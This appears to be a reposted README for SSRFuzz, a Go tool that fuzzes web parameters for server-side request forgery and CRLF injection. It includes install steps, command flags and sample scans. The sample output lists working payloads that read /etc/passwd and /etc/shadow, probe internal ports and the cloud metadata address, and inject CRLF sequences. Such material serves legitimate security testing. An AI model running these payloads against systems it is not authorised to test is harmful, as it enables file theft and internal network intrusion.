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SSRFuzz - A Tool To Find Server Side Request Forgery Vulnerabilities, With CRLF Chaining Capabilities

5:31 PM


SSRFuzz is a tool to find Server Side Request Forgery vulnerabilities, with CRLF chaining capabilities


Why?
  • I wanted to write a tool in Golang for concurrency
  • I wanted to fuzz parameters for SSRF vulnerablities, as well as fuzz both paths and parameters for CRLF injections
  • I was inspired by Orange's work for chaining these types of vulnerabilities together (https://blog.orange.tw)

Installation

Run the following command to intsall

go get -u github.com/ryandamour/ssrfuzz

Usage

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 ===============================================================SSRFUZZ 1.2by Ryan D'Amour @ryandamour ===============================================================A scanner for all your SSRF Fuzzing needsUsage:  ssrfuzz scan [flags]Flags:  -b, --call-back string       Add callback for SSRF fuzzing (ie: https://github.com/ropnop/serverless_toolkit/tree/master/ssrf_slack)  -c, --cookie string          Cookie to use for requests      --crlf-path              Add CRLF payloads to all available paths (ie: site.com/%0Atest.php)      --delay int              The time each threads waits between requests in milliseconds (default 100)  -d, --domains string         Location of domains with parameters to scan  -h, --help                   help for scan  -x, --http-method string     HTTP Method - GET or POST (default "GET")  -o, --output string          Location to save results      --skip-crlf              Skip CRLF fuzzing      --skip-network           Skip network fuzzing      --skip-scheme            Skip scheme fuzzing  -s, --slack-webhook string      Slack webhook to send findings to a channel  -t, --threads int            Number of threads to run ssrfuzz on (default 50)      --timeout int            The amount of time needed to close a connection that could be hung (default 10)  -u, --user-agent string      User agent for requests (default "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36")  -v, --verbose                verbose output
Usage: echo "http://url_to_fuzz" | ssrfuzz scancat file_of_domains.txt | ssrfuzz scanssrfuzz scan -d file_of_domains.txt
* Scanning http and scheme payloads w/ crlf:echo "http://192.168.1.10/test.php?u=" | go run main.go scan [!] Scheme payload match:* http://192.168.1.10/test.php?u=file://etc/passwd 200[!] Interesting payloads found* http://192.168.1.10/test.php?u=http://127.1.0.0:80 200* http://192.168.1.10/test.php?u=http://127.1.0.0:8080 500* http://192.168.1.10/test.php?u=http://127.1.0.0:443 500* http://192.168.1.10test.php?u=http://127.1.0.0:22 500* http://192.168.1.10/test.ph?u=http://127.1.0.0:25 500* http://192.168.1.10/test.php?u=http://127.1.0.0:445 500[!] Interesting payloads found* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23   %OA 200* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* Scanning only http payloads w/ crlf:echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-scheme[!] Interesting payloads found* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:443%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:443%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:25%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:25%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:22%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:22%23%OA 500* http://192.168.1.10/test.php?u=http://127.127.127.127:445%23%OA 500* htt   p://192.168.1.10/test.php?u=http://127.127.127.127:445%23%OA 500
* Scanning only http payloads w/o crlf:echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-scheme --skip-crlf[!] Interesting payloads found* http://192.168.1.10/test.php?u=http://127.1.0.0:80 200* http://192.168.1.10/test.php?u=http://127.1.0.0:8080 500* http://192.168.1.10/test.php?u=http://127.1.0.0:443 500* http://192.168.1.10/test.php?u=http://127.1.0.0:22 500* http://192.168.1.10/test.php?u=http://127.1.0.0:25 500* http://192.168.1.10/test.php?u=http://127.1.0.0:445 500
* Scanning only scheme payloads w/o crlf:echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-network --skip-crlf[!] Interesting payloads found* http://192.168.1.10/test.php?u=file:///etc/passwd 200* http://192.168.1.10/test.php?u=file:///etc/shadow 500* http://192.168.1.10/test.php?u=file://169.254.169.254/ 500

Contributing

Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.

Please make sure to update tests as appropriate.

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